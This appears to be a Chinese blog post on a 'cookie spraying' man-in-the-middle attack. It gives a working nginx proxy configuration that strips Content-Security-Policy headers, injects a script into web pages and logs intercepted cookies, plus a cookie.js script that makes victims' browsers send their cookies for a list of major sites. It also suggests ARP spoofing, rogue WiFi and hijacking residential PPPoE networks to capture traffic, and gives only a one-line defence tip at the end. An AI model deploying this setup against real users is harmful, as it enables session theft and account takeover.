为了账号安全,请及时绑定邮箱和手机立即绑定

中间人攻击 -- Cookie 喷发

标签:
安全

0x00 前言

分享个中间人攻击姿势,屡试不爽。

原本是篇老文,不过写的太啰嗦。今天用简明的文字,重新讲一遍。

0x01 原理

传统 cookie 嗅探,只能获得用户主动访问的站点。不访问就抓不到,效率很低。

如果流量可控,不如在用户访问的页面中注入一个脚本。通过脚本,就可以请求任意站点:

new Image().src = 'http://anyhost'

因为请求头部会带上 cookie,所以能把任意站点的 cookie 骗上流量,让中间人拿到。

0x02 爆发

首先收集各大网站域名,然后挨个来一发:

var list = ['qq.com', '163.com', 'weibo.com', ...];for (var i of list) {    new Image().src = 'http://' + i + '/__cookie';}

这样,就能把用户各种网站的 cookie 都爆上一遍。

后端收到 /__cookie 请求,记录其中的 cookie,然后返回一个空内容。于是只需极小的流量,就可以测试一个站点。

0x03 优化

因为收集了各种站点,所以需要大量的域名解析。

为了让爆破更快,可以再劫持用户的 DNS 请求,暂时解析成自己 IP,这样域名查询就不用走外网。

       DNS     <----->用户          中间人       外网     <----->       HTTP

同时还有个巨大的好处:整个系统不依赖外网,可以离线劫持!

比如在没互联网的地方,开一个 WiFi 就能攻击。

0x04 演示

我们用 nginx 来演示:

# nginx.confhttp {    resolver            114.114.114.114;    ...    log_format          record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie';    # 静态资源    server {        listen          8080;        server_name     m.io;        gzip            on;        #expires         1d;        root            /path/to/;    }    # 代理服务    server {        listen          8080 default_server;        server_name     _;        gzip            on;        location / {            # 请求的是 html 资源,进入劫持流程            if ($http_accept ~ "text/html") {                rewrite             ^   /__html;            }            # 其他资源,正常代理            proxy_pass              http://$http_host;        }        # 页面注入        location = /__html {            internal;            # 压缩的内容无法 sub_filter,先解压            proxy_set_header        host    $http_host;            proxy_pass              http://127.0.0.1:50000$request_uri;            # 删除 CSP 头,防止被阻挡            proxy_hide_header       Content-Security-Policy;            # 注入脚本            sub_filter              <head   "<script src=//m.io/cookie.js></script><head";        }        # 记录 cookie        location = /__cookie {            access_log              /path/to/cookies.log  record_cookie;            # 设置缓存时间            # 避免每次访问页面,都产生大量请求(其实在 js 里判断会更好)            add_header              Cache-Control   "max-age=3600";            # 返回空内容            return                  200;        }    }    # 解压服务    server {        listen          127.0.0.1:50000;        gunzip          on;        location / {            proxy_set_header        Accept-Encoding     deflate;            proxy_pass              http://$host;        }    }}

/path/to 目录下,放置前端攻击脚本:

// cookie.js(function(list) {    if (self != top) return;    list = list.split(' ');    for (var i = 0; i < list.length; i++) {        new Image().src = 'http://' + list[i] + '/__cookie';    }})(    // 目标站点列表    '163.com qq.com weibo.com')

把浏览器的 HTTP 代理设成 127.0.0.1:8080,就可以演示了。

打开任意 HTTP 页面,就可以爆出用户的各种 Cookie:

实战方式有很多,能控制流量就行。比如 ARP 攻击、钓鱼 WiFi、钓鱼代理,或者劫持小区 PPPoE 网络,等等。

0x05 防范

其实和 JSONP、Flash 隐私泄露类似,关闭浏览器「第三方 cookie」即可。

三方 cookie 百害而无一利,隐私泄露的罪魁祸首。

点击查看更多内容
1人点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消